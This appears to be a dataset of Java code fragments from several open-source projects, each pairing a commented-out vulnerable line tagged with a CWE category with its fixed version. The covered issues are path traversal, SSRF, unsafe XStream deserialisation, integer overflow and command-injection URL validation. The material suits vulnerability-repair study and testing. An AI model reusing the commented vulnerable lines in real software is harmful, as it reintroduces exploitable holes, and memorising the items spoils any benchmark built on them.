GeyserConnector.getInstance().getGeneralThreadPool().schedule(() -> session.sendUpstreamPacket(mapPacket),\n 100, TimeUnit.MILLISECONDS);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "ITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;\nimport com.nukkitx.protocol.bedrock.packet.TextPacket;\nimport org.geysermc.connector.network.translators.chat.MessageTranslator;\n\n@Translator(packet = TextPacket.class)\npublic class BedrockTextTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(TextPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, TextPacket packet) {\n String message = packet.getMessage();\n\n if (MessageTranslator.isTooLong(message, session)) {\n return;\n }\n\n ClientChatPacket chatPacket = new ClientChatPacket(message);\n session.sendDownstreamPacket(chatPacket);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "@return The message\n */\n default Optional getMessage(Object error) {\n if (error == null) {\n return Optional.empty();\n }\n if (error instanceof JsonError) {\n return Optional.ofNullable(((JsonError) error).getMessage());\n } else {\n if (error instanceof Described) {\n return Optional.ofNullable(((Described) error).getDescription());\n } else {\n return Optional.of(error.toString());\n }\n }\n }\n\n /**\n * Gets the error type for the given media type.\n *\n * @param mediaType The media type\n * @return The error type\n */\n default Argument getErrorType(MediaType mediaType) {\n if (mediaType.equals(MediaType.APPLICATION_JSON_TYPE)) {\n return Argument.of(JsonError.class);\n } else if (mediaType.equals(MediaType.APPLICATION_VND_ERROR_TYPE)) {\n return Argument.of(VndError.class);\n } else {\n // BUG: CWE-400 Uncontrolled Resource Consumption\n // return Argument.of(String.class);\n // FIXED: \n return Argument.STRING;\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "vision;\nimport org.olat.core.commons.services.vfs.model.VFSMetadataImpl;\nimport org.olat.core.id.Identity;\nimport org.olat.core.util.StringHelper;\nimport org.olat.core.util.vfs.VFSLeaf;\nimport org.olat.core.util.vfs.version.RevisionFileImpl;\nimport org.olat.core.util.vfs.version.VersionsFileImpl;\nimport org.olat.core.util.xml.XStreamHelper;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.converters.SingleValueConverter;\nimport com.thoughtworks.xstream.security.ExplicitTypePermission;\n\n/**\n * \n * Initial date: 13 mars 2019
\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n *\n */\npublic class VFSXStream {\n\t\n\tprivate static XStream mystream;\n\tstatic {\n\t\tmystream = XStreamHelper.createXStreamInstance();\n\t\tClass[] types = new Class[] {\n\t\t\t\tVersionsFileImpl.class, RevisionFileImpl.class, VFSRevision.class,\n\t\t\t\tVFSMetadata.class, VFSMetadataImpl.class, Identity.class, IdentityImpl.class,\n\t\t\t\tLicenseType.class, LicenseTypeImpl.class\n\t\t\t};\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// XStream.setupDefaultSecurity(mystream);\n\t\t// FIXED:\n\t\tmystream.addPermission(new ExplicitTypePermission(types));\n\t\t\n\t\tmystream.alias(\"versions\", VersionsFileImpl.class);\n\t\tmystream.alias(\"revision\", RevisionFileImpl.class);\n\t\tmystream.omitField(VersionsFileImpl.class, \"currentVersion\");\n\t\tmystream.omitField(VersionsFileImpl.class, \"versionFile\");\n\t\tmystream.omitField(RevisionFileImpl.class, \"current\");\n\t\tmystream.omitField(RevisionFileImpl.class, \"container\");\n\t\tmystream.omitField(RevisionFileImpl.class, \"file\");\n\t\tmystream.omitField(VFSMetadataImpl.class, \"originFile\");\n\t\tmystream.omitField(VFSMetadataImpl.class, \"metaFile\");\n\t\tmystream.omitField(VFSMetadataImpl.class, \"lockedByIdentKey\");\n\t\tmystream.aliasAttribute(VFSMetadataImpl.class, \"cannotGenerateThumbnails\", \"cannotGenerateThumbnail\");\n\t\tmystream.aliasAttribute(VFSMetadataImpl.class, \"author\", \"authorIdentKey\");\n\t\tmystream.aliasAttribute(VFSMetadataImpl.class, \"licenseType\", \"licenseTypeKey\");\n\t\tmystream.alias(\"metadata\", VFSMetadataImpl.class);\n\t\tmystream.omitField(VFSMetadataImpl.class, \"thumbnail\");\n\t\tmystream.omitField(VFSMetadataImpl.class, \"thumbnails\");\n\n\t\tmystream.registerLocalConverter(VFSMetadataImpl.class, \"licenseType\", new LicenseTypeConverter());\n\t\tmystream.regis<|endoftext|>"} +{"language": "java", "text": "_2 = 18;\n public static final int UC_CPU_S390X_Z10BC = 19;\n public static final int UC_CPU_S390X_Z10EC_3 = 20;\n public static final int UC_CPU_S390X_Z10BC_2 = 21;\n public static final int UC_CPU_S390X_Z196 = 22;\n public static final int UC_CPU_S390X_Z196_2 = 23;\n public static final int UC_CPU_S390X_Z114 = 24;\n public static final int UC_CPU_S390X_ZEC12 = 25;\n public static final int UC_CPU_S390X_ZEC12_2 = 26;\n public static final int UC_CPU_S390X_ZBC12 = 27;\n public static final int UC_CPU_S390X_Z13 = 28;\n public static final int UC_CPU_S390X_Z13_2 = 29;\n public static final int UC_CPU_S390X_Z13S = 30;\n public static final int UC_CPU_S390X_Z14 = 31;\n public static final int UC_CPU_S390X_Z14_2 = 32;\n public static final int UC_CPU_S390X_Z14ZR1 = 33;\n public static final int UC_CPU_S390X_GEN15A = 34;\n public static final int UC_CPU_S390X_GEN15B = 35;\n public static final int UC_CPU_S390X_QEMU = 36;\n public static final int UC_CPU_S390X_MAX = 37;\n // BUG: CWE-665 Improper Initialization\n // \n // FIXED: \n public static final int UC_CPU_S390X_ENDING = 38;\n\n// S390X registers\n\n public static final int UC_S390X_REG_INVALID = 0;\n\n// General purpose registers\n public static final int UC_S390X_REG_R0 = 1;\n public static final int UC_S390X_REG_R1 = 2;\n public static final int UC_S390X_REG_R2 = 3;\n public static final int UC_S390X_REG_R3 = 4;\n public static final int UC_S390X_REG_R4 = 5;\n public static final int UC_S390X_REG_R5 = 6;\n public static final int UC_S390X_REG_R6 = 7;\n public static final int UC_S390X_REG_R7 = 8;\n public static final int UC_S390X_REG_R8 = 9;\n public static final int UC_S390X_REG_R9 = 10;\n public static final int UC_S390X_REG_R10 = 11;\n public static final int UC_S390X_REG_R11 = 12;\n public static final int UC_S390X_REG_R12 = 13;\n public static final int UC_S390X_REG_R13 = 14;\n public static final int UC_S390X_REG_R14 = 15;\n public static final int UC_S390X_REG_R15 = 16;\n\n// Floating point registers\n public static final int UC_S390X_REG_F0 = 17;\n public static final int UC_S390X_REG_F1 = 18;\n public static final int UC_S390X_REG_F2 = 19;\n public static final int UC_S390X_REG_F3 = 20;\n public static final int UC_S390X_RE<|endoftext|>"} +{"language": "java", "text": "s://jenkins-access@jenkins.mycompany.com/api/json\")\n * \n * \n * The {@code jenkins-access} will checked against the Security context access\n * token configuration. If a configuration exists for this token name, the token\n * will be removed from the URL and the credentials will be added to the\n * headers. If the token is not found, the URL remains as it is and no separate\n * authentication will be performed.\n *

\n * TODO: Some methods should be moved to a HttpClient implementation, because\n * SURL is not the valid class to manage it.
\n * TODO: BAD_HOSTS implementation should be reviewed and moved to HttpClient\n * implementation with a circuit-breaker.
\n * TODO: Token expiration with refresh should be implemented in future.
\n */\npublic class SURL {\n\n\t/**\n\t * Indicates, that we have no authentication to access the URL.\n\t */\n\tpublic static final String WITHOUT_AUTHENTICATION = SecurityUtils.NO_CREDENTIALS;\n\n\t/**\n\t * Regex to remove the UserInfo part from a URL.\n\t */\n\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t// private static final Pattern PATTERN_USERINFO = Pattern.compile(\"(^https?://)([-_:0-9a-zA-Z]+@)([^@]*)\");\n\t// FIXED: \n\tprivate static final Pattern PATTERN_USERINFO = Pattern.compile(\"(^https?://)([-_0-9a-zA-Z]+@)([^@]*)\");\n\n\tprivate static final ExecutorService EXE = Executors.newCachedThreadPool(new ThreadFactory() {\n\t\tpublic Thread newThread(Runnable r) {\n\t\t\tfinal Thread t = Executors.defaultThreadFactory().newThread(r);\n\t\t\tt.setDaemon(true);\n\t\t\treturn t;\n\t\t}\n\t});\n\n\tprivate static final Map BAD_HOSTS = new ConcurrentHashMap();\n\n\t/**\n\t * Internal URL, maybe cleaned from user-token.\n\t */\n\tprivate final URL internal;\n\n\t/**\n\t * Assigned credentials to this URL.\n\t */\n\tprivate final String securityIdentifier;\n\n\tprivate SURL(URL url, String securityIdentifier) {\n\t\tthis.internal = Objects.requireNonNull(url);\n\t\tthis.securityIdentifier = Objects.requireNonNull(securityIdentifier);\n\t}\n\n\t/**\n\t * Create a secure URL from a String.\n\t *

\n\t * The url must be http or https. Return null in case of error or if\n\t * url is null\n\t * \n\t * @param url plain url starting by http:// or https//\n\t * @return the secure URL or null\n\t */\n\tpublic static SURL create(String url) {\n\t\tif (url == null)\n\t\t\treturn null;\n\n\t\tif (url.startsWith(\"http://\") || url.startsWith(\"https://\"))\n\t\t\ttry <|endoftext|>"} +{"language": "java", "text": "Executor;\nimport java.util.concurrent.TimeUnit;\n\nimport static io.netty.buffer.Unpooled.copiedBuffer;\nimport static io.netty.buffer.Unpooled.wrappedBuffer;\nimport static io.netty.handler.codec.http.HttpHeaderNames.CONTENT_LENGTH;\nimport static io.netty.handler.codec.http.HttpHeaderNames.CONTENT_TYPE;\nimport static io.netty.handler.codec.http.HttpHeaderNames.RANGE;\nimport static io.netty.handler.codec.http.HttpHeaderNames.SET_COOKIE;\nimport static io.netty.handler.codec.http.HttpHeaderNames.TRANSFER_ENCODING;\nimport static io.netty.handler.codec.http.HttpHeaderValues.CHUNKED;\nimport static io.netty.handler.codec.http.HttpUtil.isKeepAlive;\nimport static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;\nimport static io.netty.handler.codec.http.LastHttpContent.EMPTY_LAST_CONTENT;\nimport static java.nio.charset.StandardCharsets.UTF_8;\n\npublic class NettyContext implements DefaultContext, ChannelFutureListener {\n\n private static final HttpHeaders NO_TRAILING = EmptyHttpHeaders.INSTANCE;\n // BUG: NVD-CWE-Other Other\n // final DefaultHttpHeaders setHeaders = new DefaultHttpHeaders(false);\n // FIXED:\n final DefaultHttpHeaders setHeaders = new DefaultHttpHeaders(true);\n private final int bufferSize;\n InterfaceHttpPostRequestDecoder decoder;\n private Router router;\n private Route route;\n ChannelHandlerContext ctx;\n private HttpRequest req;\n private String path;\n private HttpResponseStatus status = HttpResponseStatus.OK;\n private boolean responseStarted;\n private QueryString query;\n private Formdata form;\n private Multipart multipart;\n private List files;\n private ValueNode headers;\n private Map pathMap = Collections.EMPTY_MAP;\n private MediaType responseType;\n private Map attributes = new HashMap<>();\n private long contentLength = -1;\n private boolean needsFlush;\n private Map cookies;\n private Map responseCookies;\n private Boolean resetHeadersOnError;\n NettyWebSocket webSocket;\n\n public NettyContext(ChannelHandlerContext ctx, HttpRequest req, Router router, String path,\n int bufferSize) {\n this.path = path;\n this.ctx = ctx;\n this.req = req;\n this.router = router;\n this.bufferSize = bufferSize;\n }\n\n @Nonnull @Override public Router getRouter() {\n return route<|endoftext|>"} +{"language": "java", "text": "dLengthOutputStreamTest.class,\n GeometricTest.class,\n GetXXXTest.class,\n HostSpecTest.class,\n IntervalTest.class,\n JavaVersionTest.class,\n JBuilderTest.class,\n LoginTimeoutTest.class,\n LogServerMessagePropertyTest.class,\n LruCacheTest.class,\n MiscTest.class,\n NativeQueryBindLengthTest.class,\n NoColumnMetadataIssue1613Test.class,\n NumericTransferTest.class,\n NumericTransferTest2.class,\n NotifyTest.class,\n OidToStringTest.class,\n OidValueOfTest.class,\n OptionsPropertyTest.class,\n OuterJoinSyntaxTest.class,\n ParameterStatusTest.class,\n ParserTest.class,\n PGbyteaTest.class,\n PGPropertyMaxResultBufferParserTest.class,\n PGPropertyTest.class,\n PGTimestampTest.class,\n PGTimeTest.class,\n PgSQLXMLTest.class,\n PreparedStatementTest.class,\n QuotationTest.class,\n ReaderInputStreamTest.class,\n RefCursorTest.class,\n ReplaceProcessingTest.class,\n ResultSetMetaDataTest.class,\n ResultSetTest.class,\n // BUG: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n // \n // FIXED: \n ResultSetRefreshTest.class,\n ReturningParserTest.class,\n SearchPathLookupTest.class,\n ServerCursorTest.class,\n ServerErrorTest.class,\n ServerPreparedStmtTest.class,\n ServerVersionParseTest.class,\n ServerVersionTest.class,\n StatementTest.class,\n StringTypeUnspecifiedArrayTest.class,\n TestACL.class,\n TimestampTest.class,\n TimeTest.class,\n TimezoneCachingTest.class,\n TimezoneTest.class,\n TypeCacheDLLStressTest.class,\n UnusualBigDecimalByteConverterTest.class,\n UpdateableResultTest.class,\n UpsertTest.class,\n UTF8EncodingTest.class,\n V3ParameterListTests.class\n})\npublic class Jdbc2TestSuite {\n}\n<|endoftext|>"} +{"language": "java", "text": "putStream {\n // static {\n // System.loadLibrary(\"natives\");\n // }\n\n private int fd;\n\n public FileOutputStream(FileDescriptor fd) {\n this.fd = fd.value;\n }\n\n public FileOutputStream(String path) throws IOException {\n this(path, false);\n }\n\n public FileOutputStream(String path, boolean append) throws IOException {\n fd = open(path, append);\n }\n \n\n public FileOutputStream(File file) throws IOException {\n this(file.getPath());\n }\n\n private static native int open(String path, boolean append) throws IOException;\n\n private static native void write(int fd, int c) throws IOException;\n\n private static native void write(int fd, byte[] b, int offset, int length)\n throws IOException;\n\n private static native void close(int fd) throws IOException;\n\n public void write(int c) throws IOException {\n write(fd, c);\n }\n\n public void write(byte[] b, int offset, int length) throws IOException {\n if (b == null) {\n throw new NullPointerException();\n }\n // BUG: CWE-190 Integer Overflow or Wraparound\n // if (offset < 0 || offset + length > b.length) {\n // FIXED: \n if (offset < 0 || length < 0 || length > b.length || offset > b.length - length) {\n throw new ArrayIndexOutOfBoundsException();\n }\n\n write(fd, b, offset, length);\n }\n\n public void close() throws IOException {\n if (fd != -1) {\n close(fd);\n fd = -1;\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "\", file.getPath()),\n ex);\n }\n }\n\n private static File canonical(final File file) {\n try {\n return file.getCanonicalFile();\n }\n catch(IOException ex) {\n throw new VncException(\n String.format(\n \"The file '%s' can not be converted to a canonical path!\",\n file.getPath()),\n ex);\n }\n }\n\n private ByteBuffer loadFile(final File file) {\n try {\n return ByteBuffer.wrap(Files.readAllBytes(file.toPath()));\n }\n catch(IOException ex) {\n return null;\n }\n }\n\n private boolean isFileWithinDirectory(\n final File dir,\n final File file\n ) throws IOException {\n final File dir_ = dir.getAbsoluteFile();\n if (dir_.isDirectory()) {\n final File fl = new File(dir_, file.getPath());\n if (fl.isFile()) {\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // if (fl.getCanonicalPath().startsWith(dir_.getCanonicalPath())) {\n // FIXED: \n if (fl.getCanonicalFile().toPath().startsWith(dir_.getCanonicalFile().toPath())) {\n // Prevent accessing files outside the load-path.\n // E.g.: ../../coffee\n return true;\n }\n }\n }\n\n return false;\n }\n\n private Charset getCharset(final String encoding) {\n return encoding == null || encoding.isEmpty()\n ? Charset.defaultCharset()\n : Charset.forName(encoding);\n }\n\n\n // a list of existing canonical paths\n private final List paths = new ArrayList<>();\n private final boolean unlimitedAccess;\n}\n<|endoftext|>"} +{"language": "java", "text": "nguageConfiguration;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.thoughtworks.xstream.XStream;\n\n/**\n * Description:
\n * This is the module for sites definition and configuration\n * \n *

\n * Initial Date: 12.07.2005
\n *\n * @author Felix Jost\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n */\n@Service(\"olatsites\")\npublic class SiteDefinitions extends AbstractSpringModule {\n\t\n\tprivate static final Logger log = Tracing.createLoggerFor(SiteDefinitions.class);\n\n\tprivate Map siteDefMap;\n\tprivate Map siteConfigMap = new ConcurrentHashMap<>();\n\t\n\tprivate String configSite1;\n\tprivate String configSite2;\n\tprivate String configSite3;\n\tprivate String configSite4;\n\tprivate String sitesSettings;\n\t\n\t@Autowired\n\tprivate List configurers;\n\t\n\tprivate static final XStream xStream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED: \n\t\tXStreamHelper.allowDefaultPackage(xStream);\n\t\txStream.alias(\"coursesite\", CourseSiteConfiguration.class);\n\t\txStream.alias(\"languageConfig\", LanguageConfiguration.class);\n\t\txStream.alias(\"siteconfig\", SiteConfiguration.class);\n\t}\n\t\n\t@Autowired\n\tpublic SiteDefinitions(CoordinatorManager coordinatorManager) {\n\t\tsuper(coordinatorManager);\n\t}\n\t\n\t\n\t\n\tpublic String getConfigCourseSite1() {\n\t\treturn configSite1;\n\t}\n\n\tpublic void setConfigCourseSite1(String config) {\n\t\tsetStringProperty(\"site.1.config\", config, true);\n\t}\n\n\tpublic String getConfigCourseSite2() {\n\t\treturn configSite2;\n\t}\n\n\tpublic void setConfigCourseSite2(String config) {\n\t\tsetStringProperty(\"site.2.config\", config, true);\n\t}\n\t\n\tpublic String getConfigCourseSite3() {\n\t\treturn configSite3;\n\t}\n\n\tpublic void setConfigCourseSite3(String config) {\n\t\tsetStringProperty(\"site.3.config\", config, true);\n\t}\n\t\n\tpublic String getConfigCourseSite4() {\n\t\treturn configSite4;\n\t}\n\n\tpublic void setConfigCourseSite4(String config) {\n\t\tsetStringProperty(\"site.4.config\", config, true);\n\t}\n\t\n\tpublic SiteConfiguration getConfigurationSite(String id) {\n\t\treturn siteConfigMap.computeIfAbsent(id, springId -> {\n\t\t\tSiteConfiguration c = new SiteConfigur<|endoftext|>"} +{"language": "java", "text": "nse is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.dashbuilder.dataprovider.sql;\n\nimport java.util.List;\nimport java.util.ArrayList;\n\nimport org.junit.Before;\n\npublic class SQLTestSuite extends SQLDataSetTestBase {\n\n protected T setUp(T test) throws Exception {\n test.testSettings = testSettings;\n test.conn = conn;\n return test;\n }\n\n protected List sqlTestList = new ArrayList();\n\n @Before\n public void setUp() throws Exception {\n super.setUp();\n sqlTestList.add(setUp(new SQLDataSetDefTest()));\n sqlTestList.add(setUp(new SQLDataSetTrimTest()));\n sqlTestList.add(setUp(new SQLTableDataSetLookupTest()));\n sqlTestList.add(setUp(new SQLQueryDataSetLookupTest()));\n // BUG: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n // \n // FIXED: \n sqlTestList.add(setUp(new SQLInjectionAttacksTest()));\n }\n\n public void testAll() throws Exception {\n for (SQLDataSetTestBase testBase : sqlTestList) {\n testBase.testAll();\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "rt com.nukkitx.protocol.bedrock.data.entity.EntityEventType;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityFlag;\nimport com.nukkitx.protocol.bedrock.packet.*;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.entity.ItemFrameEntity;\nimport org.geysermc.connector.entity.player.SessionPlayerEntity;\nimport org.geysermc.connector.inventory.PlayerInventory;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.network.translators.world.block.BlockStateValues;\nimport org.geysermc.connector.registry.BlockRegistries;\nimport org.geysermc.connector.registry.type.ItemMapping;\nimport org.geysermc.connector.utils.BlockUtils;\n\nimport java.util.ArrayList;\n\n@Translator(packet = PlayerActionPacket.class)\npublic class BedrockActionTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(PlayerActionPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, PlayerActionPacket packet) {\n SessionPlayerEntity entity = session.getPlayerEntity();\n\n // Send book update before any player action\n if (packet.getAction() != PlayerActionType.RESPAWN) {\n session.getBookEditCache().checkForSend();\n }\n\n Vector3i vector = packet.getBlockPosition();\n Position position = new Position(vector.getX(), vector.getY(), vector.getZ());\n\n switch (packet.getAction()) {\n case RESPAWN:\n // Respawn process is finished and the server and client are both OK with respawning.\n EntityEventPacket eventPacket = new EntityEventPacket();\n eventPacket.setRuntimeEntityId(entity.getGeyserId());\n eventPacket.setType(EntityEventType.RESPAWN);\n eventPacket.setData(0);\n session.sendUpstreamPacket(eventPacket);\n // Resend attributes or else in rare cases the user can think they're not dead when they are, upon joining the server\n UpdateAttributesPacket attributesPacket = new UpdateAttributesPacket();\n attributesPacket.setRuntimeEnt<|endoftext|>"} +{"language": "java", "text": "package com.zrlog.web;\n\nimport com.zrlog.common.Constants;\nimport org.apache.catalina.LifecycleException;\nimport org.apache.catalina.startup.Tomcat;\n\nimport javax.servlet.ServletException;\nimport java.io.File;\n\npublic class Application {\n\n public static void main(String[] args) throws LifecycleException {\n String webappDirLocation;\n if (Constants.IN_JAR) {\n webappDirLocation = \"webapp\";\n } else {\n webappDirLocation = \"src/main/webapp/\";\n }\n\n Tomcat tomcat = new Tomcat();\n\n String webPort = System.getenv(\"PORT\");\n if (webPort == null || webPort.isEmpty()) {\n webPort = \"8080\";\n }\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // tomcat.setPort(Integer.valueOf(webPort));\n // FIXED: \n tomcat.setPort(Integer.parseInt(webPort));\n tomcat.getConnector();\n\n // Declare an alternative location for your \"WEB-INF/classes\" dir\n // Servlet 3.0 annotation will work\n File additionWebInfClasses;\n if (Constants.IN_JAR) {\n additionWebInfClasses = new File(\"\");\n } else {\n additionWebInfClasses = new File(\"target/classes\");\n }\n\n tomcat.setBaseDir(additionWebInfClasses.toString());\n //idea\u7684\u8def\u5f84eclipse\u542f\u52a8\u7684\u8def\u5f84\u6709\u533a\u522b\n if (!Constants.IN_JAR && !new File(\"\").getAbsolutePath().endsWith(File.separator + \"web\")) {\n webappDirLocation = \"web/\" + webappDirLocation;\n }\n tomcat.addWebapp(\"\", new File(webappDirLocation).getAbsolutePath());\n tomcat.start();\n tomcat.getServer().await();\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "*/\n\npackage org.opencastproject.mediapackage.identifier;\n\nimport javax.xml.bind.annotation.adapters.XmlAdapter;\nimport javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;\n\n/**\n * Interface for an identifier.\n */\n@XmlJavaTypeAdapter(Id.Adapter.class)\npublic interface Id {\n\n /**\n * Returns the local identifier of this {@link Id}. The local identifier is defined to be free of separator characters\n * that could potentially get into the way when creating file or directory names from the identifier.\n *\n * For example, given that the interface is implemented by a class representing CNRI handles, the identifier would\n * then look something like 10.3930/ETHZ/abcd, whith 10.3930 being the handle prefix,\n * ETH the authority and abcd the local part. toURI() would then return\n * 10.3930-ETH-abcd or any other suitable form.\n *\n * @return a path separator-free representation of the identifier\n */\n // BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n // \n // FIXED:\n @Deprecated\n String compact();\n\n class Adapter extends XmlAdapter {\n public IdImpl marshal(Id id) throws Exception {\n if (id instanceof IdImpl) {\n return (IdImpl) id;\n } else {\n throw new IllegalStateException(\"an unknown ID is un use: \" + id);\n }\n }\n\n public Id unmarshal(IdImpl id) throws Exception {\n return id;\n }\n }\n\n /**\n * Return a string representation of the identifier from which an object of type Id should\n * be reconstructable.\n */\n String toString();\n}\n<|endoftext|>"} +{"language": "java", "text": "ialConfig.setConfigAttributes(Collections.singletonMap(ScmMaterialConfig.FOLDER, \"../a\"));\n svnMaterialConfig.validate(new ConfigSaveValidationContext(null));\n\n assertThat(svnMaterialConfig.errors().on(SvnMaterialConfig.FOLDER)).isEqualTo(\"Dest folder '../a' is not valid. It must be a sub-directory of the working folder.\");\n }\n\n @Test\n void rejectsObviouslyWrongURL() {\n assertTrue(validating(svn(\"-url-not-starting-with-an-alphanumeric-character\", false)).errors().containsKey(SvnMaterialConfig.URL));\n assertTrue(validating(svn(\"_url-not-starting-with-an-alphanumeric-character\", false)).errors().containsKey(SvnMaterialConfig.URL));\n assertTrue(validating(svn(\"@url-not-starting-with-an-alphanumeric-character\", false)).errors().containsKey(SvnMaterialConfig.URL));\n\n assertFalse(validating(svn(\"url-starting-with-an-alphanumeric-character\", false)).errors().containsKey(SvnMaterialConfig.URL));\n // BUG: CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')\n // \n // FIXED: \n assertFalse(validating(svn(\"#{url}\", false)).errors().containsKey(SvnMaterialConfig.URL));\n }\n\n private SvnMaterialConfig validating(SvnMaterialConfig svn) {\n svn.validate(new ConfigSaveValidationContext(null));\n return svn;\n }\n }\n\n @Nested\n class ValidateTree {\n @BeforeEach\n void setUp() {\n svnMaterialConfig.setUrl(\"foo/bar\");\n }\n\n @Test\n void shouldCallValidate() {\n final MaterialConfig materialConfig = spy(svnMaterialConfig);\n final ValidationContext validationContext = mockValidationContextForSecretParams();\n\n materialConfig.validateTree(validationContext);\n\n verify(materialConfig).validate(validationContext);\n }\n\n @Test\n void shouldFailIfEncryptedPasswordIsIncorrect() {\n svnMaterialConfig.setEncryptedPassword(\"encryptedPassword\");\n\n final boolean validationResult = svnMaterialConfig.validateTree(new ConfigSaveValidationContext(null));\n\n assertThat(validationResult).isFalse();\n assertThat(svnMaterialConfig.errors().on(\"encryptedPassword\")).isEqualTo(\"Encrypted pa<|endoftext|>"} +{"language": "java", "text": "\t\ttmp = readXmlFile(\n\t\t\t\t\t\t\t\t\t\t\t\"/stencils/\" + names[i] + \".xml\",\n\t\t\t\t\t\t\t\t\t\t\ttrue);\n\n\t\t\t\t\t\t\t\t\t// Cache for later use\n\t\t\t\t\t\t\t\t\tif (tmp != null)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tstencils.put(names[i], tmp);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcatch (NullPointerException e)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// This seems possible according to access log so ignore stencil\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (tmp != null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (result.length() > 1)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tresult.append(\",\");\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tresult.append(\"'\" + tmp + \"'\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tdone.add(names[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tresult.append(\"]\");\n\n\t\t// LATER: Detect protocol of request in dev\n\t\t// mode to avoid security errors\n\t\tString proto = \"https://\";\n\n\t\tString setCachedUrls = \"\";\n\t\tString[] urls = request.getParameterValues(\"fetch\");\n\n\t\tif (urls != null)\n\t\t{\n\t\t\tHashSet completed = new HashSet();\n\n\t\t\tfor (int i = 0; i < urls.length; i++)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t// Checks if URL already fetched to avoid duplicates\n\t\t\t\t\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t\t\t\t\t// if (!completed.contains(urls[i]))\n\t\t\t\t\t// FIXED: \n\t\t\t\t\tif (!completed.contains(urls[i]) && Utils.sanitizeUrl(urls[i]))\n\t\t\t\t\t{\n\t\t\t\t\t\tcompleted.add(urls[i]);\n\t\t\t\t\t\tURL url = new URL(urls[i]);\n\t\t\t\t\t\tURLConnection connection = url.openConnection();\n\t\t\t\t\t\tByteArrayOutputStream stream = new ByteArrayOutputStream();\n\t\t\t\t\t\tUtils.copy(connection.getInputStream(), stream);\n\t\t\t\t\t\tsetCachedUrls += \"GraphViewer.cachedUrls['\"\n\t\t\t\t\t\t\t\t+ StringEscapeUtils.escapeEcmaScript(urls[i])\n\t\t\t\t\t\t\t\t+ \"'] = decodeURIComponent('\"\n\t\t\t\t\t\t\t\t+ StringEscapeUtils.escapeEcmaScript(\n\t\t\t\t\t\t\t\t\t\tUtils.encodeURIComponent(\n\t\t\t\t\t\t\t\t\t\t\t\tstream.toString(\"UTF-8\"),\n\t\t\t\t\t\t\t\t\t\t\t\tUtils.CHARSET_FOR_URL_ENCODING))\n\t\t\t\t\t\t\t\t+ \"');\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (Exception e)\n\t\t\t\t{\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Installs a callback to load the stencils after the viewer was injected\n\t\treturn \"window.onDrawioViewerLoad = function() {\" + setCachedUrls\n\t\t\t\t+ \"mxStencilRegistry.parseStencilSets(\" + result.toString()\n\t\t\t\t+ \");\" + js + \"GraphViewer.processElements(); };\"\n\t\t\t\t+ \"var 